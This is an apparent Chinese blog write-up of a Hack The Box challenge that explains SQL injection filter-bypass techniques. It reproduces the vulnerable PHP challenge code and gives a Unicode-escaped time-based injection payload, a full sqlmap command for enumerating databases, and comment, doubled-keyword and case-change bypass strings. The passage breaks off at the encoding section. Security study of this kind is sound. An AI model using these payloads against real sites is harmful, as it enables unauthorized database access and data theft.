SQLInjection 绕过技术原理

前言

写这个的起因是在Hack The Box上面做的一道绕waf的题目,题目倒是平平无奇,但正好借着这个机会好好整理一下SQL注入各种绕过方法的原理。

wafwaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php error_reporting(0);
require 'config.php';

class db extends Connection {
public function waf($s) {
if (preg_match_all('/'. implode('|', array(
'[' . preg_quote("(*<=>|'&-@") . ']',
'select', 'and', 'or', 'if', 'by', 'from',
'where', 'as', 'is', 'in', 'not', 'having'
)) . '/i', $s, $matches)) die(var_dump($matches[0]));
return json_decode($s);
}

public function query($sql) {
$args = func_get_args();
unset($args[0]);
return parent::query(vsprintf($sql, $args));
}
}

$db = new db();

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$obj = $db->waf(file_get_contents('php://input'));
$db->query("SELECT note FROM notes WHERE assignee = '%s'", $obj->user);
} else {
die(highlight_file(__FILE__, 1));
}
?>

题目就是这样,看起来平平无奇的一道绕waf题,过滤的正则表达式整理出来应该是这个样子的[\(\*\<\=\>\|'&\-@]|select|and|or|if|by|from|where|as|is|in|not|having

解法也是不难,直接使用Unicode编码绕过就好。首先输入测试语句' or sleep(3)-- ',编码之后就是\u0027\u006f\u0072 \u0073\u006c\u0065\u0065\u0070\u0028\u0033\u0029\u002d\u002d。返回结果慢了3秒,证明Unicode编码绕过可行。接下来送进Sqlmap里跑就可以,这里的小技巧就是用sqlmap内置的tamper进行自动Unicode编码,指定使用时间盲注很快就能得到答案。sqlmap -r requestt.txt -tamper charunicodeescape -v 3 --batch --level=5 --risk=3 --threads=10 --technique=T --dbs --dbms=mysql

这里推荐一个小插件sqlmap4burp++,在Repeater里面直接右键就可以将数据包发送到sqlmap中,并且可以向命令行一样直接输入所有的参数,非常的好用。

各种绕过

1. 文字游戏

第一种绕过针对的是特征词替换。

1
2
3
4
5
<?php
error_reporting(0);
$sql = $_GET['inject'];
$sql = preg_replace('/'.implode('|',array('select','and','or','if', 'by', 'from', 'where', 'as', 'is', 'in', 'not', 'having')).'/i', '',$sql);
?>

这种最基本的匹配替换可以使用三种方式绕过

  • 注释符绕过。通过在sql语句中增加注释使得sql语句的语意不变但是可以逃过匹配。

    1
    ‘ union sele/**/ct
  • 双写绕过。关键词被替换为空的时候可以将一个关键词插入到另一个之中,就像三明治一样。waf会将三明治中的肉饼替换为空,这样留下来的两片面包就组成了我们想要输入的新关键词。

    1
    ' uion seleselectct
  • 大小写绕过。特征匹配之前并没有将字符串做任何处理,比如都变成小写/大写,SQL使用大小写都可以进行操作。

    1
    'union SELECT

2. 编码绕过

根据Mysql的官方文档,Mysql会